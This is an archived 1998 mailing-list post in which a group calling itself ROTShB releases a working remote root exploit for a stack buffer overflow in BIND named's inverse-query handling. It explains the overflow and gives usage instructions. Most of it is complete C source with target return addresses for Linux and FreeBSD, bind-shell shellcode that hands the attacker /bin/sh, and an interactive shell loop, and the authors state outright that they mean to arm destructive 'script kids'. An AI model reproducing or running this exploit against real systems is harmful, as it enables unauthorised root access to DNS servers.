named warez

From: gutat_private
Date: Sat May 30 1998 - 23:38:17 PDT

  • Next message: gutat_private: "named again."

    hi.
    
    there seems to be a lot of fuss over this bug, so in the interest of
    causing people with high paying jobs some problems the riders of the
    short bus (ROTShB) have decided to give script kids (whom are most likely
    destructive) a new toy.
    
    note: if you consider yourself an average bugtraq reader please skip to
    the first line which contains '-- cut here --'.
    
    now a bit ago you might have read a cert advisory which let a lot of
    terrible people know that there was a bcopy()/memcpy() (may be the same
    thing for you, may not) in named's req_iquery().  all that was terrible
    about this was simply that a user definable ammount of user definable data
    was copied to a memory address on the stack which happened to be lower than
    the memory address which stores the return address for the said function.
    this of course is all relative to your arch/os, but all of our favorites
    are vulnerable.
    
    every version of named released prior to the cert advisory was vulnerable
    as far as we cared to check.  the only requirement is that the target
    named needs to accept fake iqueries, that is they had INVQ defined at
    compile time or they have the appropriate options set in a config file.
    
    now lets look at how the exploit our script kiddie friends will soon use
    works.
    
    looking at req_iquery() found in ns_req.c we can see that exploitation is
    pretty straight forward.  we won't bore you with the details.  the only
    thing we should really note here is the dlen and alen variables.  as you
    can see they could cause a segmentation violation prior to the function's
    return if they held certain values.  in which case, our script kids would
    be out of luck.  so we go ahead and fill them with friendly data.
    friendly being the values they would typically hold when processing a real
    inverse query.  if you look at the code you'll also notice that our need
    to to fill alen/dlen with good values depends on wether or not #ifdef INVQ
    is true.  but we want our exploit to work either way so we do it
    reguardless.
    
    ah, but we have yet another pain in the ass.  the ret address' distance
    from anbuf will obviously change if the order in which the variables are
    arranged on the stack is changed.  isn't gcc a bitch.  without optimization
    they'll be in normal order, but compile with -O and they are mixed around.
    basically we have to write 2 exploits.  one for an optimized version of
    named and one for a non optimized version of named.  now this is rather
    important: the ammount of data required to overflow an optimized named is
    less than the ammount of data required to overflow a non optimized named.
    hence, ALWAYS ATTEMPT TO EXPLOIT A NAMED AS THOUGH IT WAS OPTIMIZED FIRST.
    if it isn't optimized you won't cause a segv.  the above is precisely why
    we will get lots of emails telling us that 'this shit dosnt work man!^!^@#'.
    
    if this is your problem and you tell us about it bad things will happen.
    
    a little about the exploit:  the target types listed have (se)s and (le)s
    after them you'll notice.  se means small enviorment and le means large
    enviorment.  the enviorment size upon execution of named will affect the
    address we want to return to quite a bit.  the se addr is typically the
    addr of anbuf when named is executed at bootup by an rc file.  the le addr
    is the addr of anbuf when named is started by a typical bash shell.
    hence, ALWAYS USE THE SE TARGET TYPE.
    
    again, if this is your problem and you tell us about it bad things will
    happen.
    
    for the above reasons i will give a very simple example for our very
    simple bugtraq readers:
    
    remote system is a x86 linux 2.0.33 machine running named version 4.9.6-REL
    (btw: a quick way to find out what ver a remote host is running is to:
    ./dig @remotehost version.bind chaos txt
    thnx to someone for putting that in the code.)
    
    you kidz would then do:
    
    ./namedexploit targethost 4 1
    if that fails, then:
    ./namedexploit targethost 4 0
    
    one other thing to remember is the arch/os listed in the target type are
    just the arch/os we've tested it on.  obviously anything with the same
    syscall mechanism and stack setup is exploitable with the provided
    exploit.
    
    other than that the exploit is simple and common.  fill buffer with code,
    fill ret addr with addr of code.  boom.  a note on the shellcode:  one
    possible method of exploitation is simply to start an xterm.  but with all
    the people who lack an xterm bin we decided that just wasn't good enough
    for our bugtraq readers.
    
    we can predict the fd which will reference our connection with good
    accuracy so the shell code you will find dup2()s stdin, stdout, and stderr
    with the predicted fd and then execve()s /bin/sh.  linux shellcode is
    straight forward.  for bsd?  lcalls are a bitch.  we mov jmp opcodes to
    the space following the lcall opcode before each syscall and then jmp
    to the same lcall opcode for every syscall.
    
    a preemptive fuq off to all of those who will bitch because we did not
    provide a sparc/sunos exploit.  if you want it that bad write it yourself.
    we've certainly made it very easy on you.  and giving that out might
    actually cause some problems.  we firmly believe that nothing important is
    ever stored on a little endian machine.
    
    thats it.  many distributions of various unix variants supply an
    exploitable named out of the box.  so run the exploit, and have a good
    time.
    
    after ROTShB wishes you luck type 'id'. when you see that you are root,
    please remember that you are nothing more that a script kid and you most
    likely possess absolutely no technical skill.
    
    have fun.
    
    ps:
    we mentioned bad things will happen if you send us mail under certain
    circumstances.  we did not mean to imply that it is ok to mail us under
    other circumstances.  we don't like you.  please don't mail us.
    
    thanks.
    
    -ROTShB
    
    -- cut here --
    
    /*
     * have fun.
     * -ROTShB
     */
    
    #include <unistd.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <signal.h>
    #include <time.h>
    #include <string.h>
    #include <ctype.h>
    #include <netdb.h>
    #include <sys/time.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <arpa/inet.h>
    #include <arpa/nameser.h>
    
    #define DEFAULT_TARGET       0
    #define DEFAULT_OPTIMIZATION 0
    #define DEFAULT_ANBUF_OFFSET 300
    #define DLEN_VAL             4
    #define NPACKETSZ            512
    #define NMAXDNAME            1025
    #define PRE_EGG_DATALEN      (1+(sizeof(short)*3)+sizeof(long))
    #define ALEN_VAL             (DLEN_VAL+PRE_EGG_DATALEN)
    #define BUFFSIZE             4096
    
    struct target_type
    {
      char          desc[40];
      int           systype;
      unsigned long addr;
      unsigned long opt_addr;
      int           fd;
    };
    
    struct target_type target[] =
    {
      {"x86 Linux 2.0.x named 4.9.5-REL (se)",0,0xbffff21c,0xbffff23c,4},
      {"x86 Linux 2.0.x named 4.9.5-REL (le)",0,0xbfffeedc,0xbfffeefc,4},
      {"x86 Linux 2.0.x named 4.9.5-P1 (se)",0,0xbffff294,0xbffff2cc,4},
      {"x86 Linux 2.0.x named 4.9.5-P1 (le)",0,0xbfffef8c,0xbfffefb4,4},
      {"x86 Linux 2.0.x named 4.9.6-REL (se)",0,0xbffff3e3,0xbffff403,4},
      {"x86 Linux 2.0.x named 4.9.6-REL (le)",0,0xbffff188,0xbffff194,4},
      {"x86 Linux 2.0.x named 8.1-REL (se)",0,0xbffff6a4,0xbffff6f8,5},
      {"x86 Linux 2.0.x named 8.1-REL (le)",0,0xbffff364,0xbffff3b8,5},
      {"x86 Linux 2.0.x named 8.1.1 (se)",0,0xbffff6b8,0xbffff708,5},
      {"x86 Linux 2.0.x named 8.1.1 (le)",0,0xbffff378,0xbffff3c8,5},
      {"x86 FreeBSD 3.x named 4.9.5-REL (se)",1,0xefbfd260,0xefbfd2c8,4},
      {"x86 FreeBSD 3.x named 4.9.5-REL (le)",1,0xefbfd140,0xefbfd1a8,4},
      {"x86 FreeBSD 3.x named 4.9.5-P1 (se)",1,0xefbfd260,0xefbfd2c8,4},
      {"x86 FreeBSD 3.x named 4.9.5-P1 (le)",1,0xefbfd140,0xefbfd1a8,4},
      {"x86 FreeBSD 3.x named 4.9.6-REL (se)",1,0xefbfd480,0xefbfd4e8,4},
      {"x86 FreeBSD 3.x named 4.9.6-REL (le)",1,0xefbfd218,0xefbfd274,4},
      {{0},0,0,0,0}
    };
    
    unsigned long resolve(char *host)
    {
      long i;
      struct hostent *he;
    
      if((i=inet_addr(host))==(-1))
        if((he=gethostbyname(host))==NULL)
          return(0);
        else
          return(*(unsigned long *)he->h_addr);
    
      return(i);
    }
    
    int send_packet(int fd, char *buff, int len)
    {
      char tmp[2], *ptr=tmp;
    
      PUTSHORT(len,ptr);
    
      if(write(fd,tmp,2)!=2)
        return(-1);
    
      if(write(fd,buff,len)!=len)
        return(-1);
    
      return(1);
    }
    
    int attack(int fd, struct target_type t, unsigned long offset, int optimized)
    {
      char buff[BUFFSIZE], *ptr=buff;
      HEADER *dnsh=(HEADER *)buff;
      unsigned long i;
      int dlen, len=0;
    
      (void)memset(dnsh,0,sizeof(HEADER));
    
      dnsh->id      = htons(31337);
      dnsh->opcode  = IQUERY;
      dnsh->rd      = 1;
      dnsh->ra      = 1;
      dnsh->ancount = htons(1);
    
      ptr += sizeof(HEADER);
      len += sizeof(HEADER);
    
      *ptr = '\0';
      ptr++;
    
      i = T_A;
      PUTSHORT(i,ptr);
    
      i = C_IN;
      PUTSHORT(i,ptr);
    
      i = 31337;
      PUTLONG(i,ptr);
    
      if(t.systype==0)
        {
          char c0de[] =
            "\x31\xc0\xb0\x3f\x31\xdb\xb3\xff\x31\xc9\xcd\x80\x31\xc0\xb0\x3f\xb1"
            "\x01\xcd\x80\x31\xc0\xb0\x3f\xb1\x02\xcd\x80\xeb\x24\x5e\x8d\x1e\x89"
            "\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10"
            "\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8\xd7"
            "\xff\xff\xff/bin/sh";
    
          if(optimized)
            dlen = NPACKETSZ+(NMAXDNAME+3)+8-PRE_EGG_DATALEN;
          else
            dlen = NPACKETSZ+(NMAXDNAME+3)+(sizeof(int)*6)+8-PRE_EGG_DATALEN;
    
          PUTSHORT(dlen,ptr);
          len += PRE_EGG_DATALEN;
    
          c0de[7] = t.fd;
    
          (void)memset(ptr,0x90,(sizeof(buff)-(ptr-buff)));
    
          i = NPACKETSZ-PRE_EGG_DATALEN-sizeof(c0de);
          (void)memcpy((ptr+i),c0de,sizeof(c0de));
    
          if(!optimized)
            {
              (void)memcpy((ptr+(dlen-16-sizeof(c0de))),c0de,sizeof(c0de));
              i = ALEN_VAL;
              (void)memcpy((ptr+(dlen-16)),&i,sizeof(i));
              i = DLEN_VAL;
              (void)memcpy((ptr+(dlen-12)),&i,sizeof(i));
            }
          else
            (void)memcpy((ptr+(dlen-4-sizeof(c0de))),c0de,sizeof(c0de));
    
          i = (optimized?t.opt_addr:t.addr)+offset;
    
          len += dlen;
        }
    
      else if(t.systype==1)
        {
          char c0de[] =
            "\xeb\x6e\x5e\xc6\x06\x9a\x31\xc9\x89\x4e\x01\xc6\x46\x05\x07\x88"
            "\x4e\x06\x51\x31\xdb\xb3\x04\x53\x66\xc7\x46\x07\xeb\xa7\x31\xc0"
            "\xb0\x5a\x50\xeb\x50\xfe\xc1\x51\x53\xc6\x46\x08\xb6\x31\xc0\xb0"
            "\x5a\x50\xeb\x41\xfe\xc1\x51\x53\xc6\x46\x08\xc5\x31\xc0\xb0\x5a"
            "\x50\xeb\x32\xc7\x46\x07\x2f\x62\x69\x6e\xc7\x46\x0b\x2f\x73\x68"
            "\x21\x31\xc0\x88\x46\x0e\x8d\x5e\x07\x89\x5e\x0f\x89\x46\x13\x8d"
            "\x5e\x13\x53\x8d\x5e\x0f\x53\x8d\x5e\x07\x53\xb0\x3b\x50\xeb\x05"
            "\xe8\x8d\xff\xff\xff";
    
          if(optimized)
            dlen = NPACKETSZ+(NMAXDNAME+3)+8-PRE_EGG_DATALEN;
          else
            dlen = NPACKETSZ+(NMAXDNAME+3)+(sizeof(int)*6)+8-PRE_EGG_DATALEN;
    
          PUTSHORT(dlen,ptr);
          len += PRE_EGG_DATALEN;
    
          c0de[22] = t.fd;
    
          (void)memset(ptr,0x90,(sizeof(buff)-(ptr-buff)));
    
          i = NPACKETSZ-PRE_EGG_DATALEN-sizeof(c0de);
          (void)memcpy((ptr+i),c0de,sizeof(c0de));
    
          if(!optimized)
            {
              (void)memcpy((ptr+(dlen-16-sizeof(c0de))),c0de,sizeof(c0de));
              i = ALEN_VAL;
              (void)memcpy((ptr+(dlen-16)),&i,sizeof(i));
              i = DLEN_VAL;
              (void)memcpy((ptr+(dlen-12)),&i,sizeof(i));
            }
          else
            (void)memcpy((ptr+(dlen-4-sizeof(c0de))),c0de,sizeof(c0de));
    
          i = (optimized?t.opt_addr:t.addr)+offset;
          (void)memcpy((ptr+(dlen-4)),&i,sizeof(i));
    
          len += dlen;
        }
      else
        return(0);
    
      return(send_packet(fd,buff,len));
    }
    
    int main(int argc, char *argv[])
    {
      char xbuf[128], ybuf[128];
      unsigned long offset=DEFAULT_ANBUF_OFFSET;
      int ti, opt=DEFAULT_OPTIMIZATION, sock, i;
      int xlen=0, ylen=0;
      fd_set rd, wr;
      struct sockaddr_in sa;
    
      for(i=0;((target[i].addr)||(target[i].opt_addr));i++);
    
      if(argc<2)
        {
          (void)fprintf(stderr,"\ntarget types:\n");
    
          for(ti=0;ti<i;ti++)
            (void)fprintf(stderr," %-2d : %s\n",ti,target[ti].desc);
    
          (void)fprintf(stderr,"\nerror: usage: %s <host> [tt] [opt] [ofst]\n",
                        argv[0]);
          exit(-1);
        }
    
      if(argc>2)
        {
          ti = atoi(argv[2]);
          if((ti<0)||(ti>i))
            {
              (void)fprintf(stderr,"error: invalid target type %d\n",ti);
              exit(-1);
            }
        }
      else
        ti = DEFAULT_TARGET;
    
      if(argc>3)
        {
          opt = atoi(argv[3]);
          if((opt!=0)&&(opt!=1))
            {
              (void)fprintf(stderr,"error: invalid optimization setting %d\n",opt);
              exit(-1);
            }
        }
    
      if(argc>4)
        offset = atoi(argv[4]);
    
      if(!(sa.sin_addr.s_addr=resolve(argv[1])))
        {
          (void)fprintf(stderr,"error: can not resolve: %s\n",argv[1]);
          exit(-1);
        }
    
      sa.sin_family = AF_INET;
      sa.sin_port   = htons(53);
    
      if((sock=socket(sa.sin_family,SOCK_STREAM,0))==(-1))
        {
          (void)perror("error: socket");
          exit(-1);
        }
    
      if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))==(-1))
        {
          (void)perror("error: connect");
          exit(-1);
        }
    
      (void)printf("target             : %s\n",inet_ntoa(sa.sin_addr));
      (void)printf("target type        : %s\n",target[ti].desc);
      (void)printf("optimized named    : %s\n",(opt?"YES":"NO"));
      (void)printf("anbuff addr        : 0x%x\n",(unsigned int)
                   (i=(opt?target[ti].opt_addr:target[ti].addr)));
      (void)printf("anbuff addr offset : %lu\n",offset);
      (void)printf("ret addr           : 0x%x\n",(unsigned int)(i+offset));
      (void)printf("fd to make dups of : %d\n",target[ti].fd);
    
      (void)printf("here we go...\n");
    
      switch(attack(sock,target[ti],offset,opt))
        {
        case -1:
          (void)perror("error: attack");
          exit(-1);
          break;
    
        case 0:
          (void)fprintf(stderr,"error: internal error\n");
          exit(-1);
          break;
        }
    
      (void)printf("have fun.\n");
      (void)printf("-ROTShB\n");
    
      while(1)
        {
          FD_ZERO(&rd);
          if(ylen<(sizeof(ybuf)-1))
            FD_SET(sock,&rd);
          if(xlen<(sizeof(xbuf)-1))
            FD_SET(fileno(stdin),&rd);
    
          FD_ZERO(&wr);
          if(xlen)
            FD_SET(sock,&wr);
          if(ylen)
            FD_SET(fileno(stdout),&wr);
    
          if((ti=select((sock+1),&rd,&wr,NULL,NULL))==(-1))
            {
              (void)perror("error: select");
              break;
            }
    
          if(FD_ISSET(fileno(stdin),&rd))
            {
              if((i=read(fileno(stdin),(xbuf+xlen),(sizeof(xbuf)-xlen)))==(-1))
                {
                  (void)perror("error: read");
                  exit(-1);
                }
              else if(i==0)
                break;
    
              xlen += i;
              if(!(--ti)) continue;
            }
    
          if(FD_ISSET(sock,&wr))
            {
              if(write(sock,xbuf,xlen)!=xlen)
                {
                  (void)perror("error: write");
                  exit(-1);
                }
    
              xlen = 0;
              if(!(--ti)) continue;
            }
    
          if(FD_ISSET(sock,&rd))
            {
              if((i=read(sock,(ybuf+ylen),(sizeof(ybuf)-ylen)))==(-1))
                {
                  (void)perror("error: read");
                  exit(-1);
                }
              else if(i==0)
                break;
    
              ylen += i;
              if(!(--ti)) continue;
            }
    
          if(FD_ISSET(fileno(stdout),&wr))
            {
              if(write(fileno(stdout),ybuf,ylen)!=ylen)
                {
                  (void)perror("error: write");
                  exit(-1);
                }
    
              ylen = 0;
              if(!(--ti)) continue;
            }
        }
    
      if(close(sock)==(-1))
        {
          (void)perror("error: close");
          exit(-1);
        }
    
      exit(0);
    }
    
    -- cut here --
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 13:55:45 PDT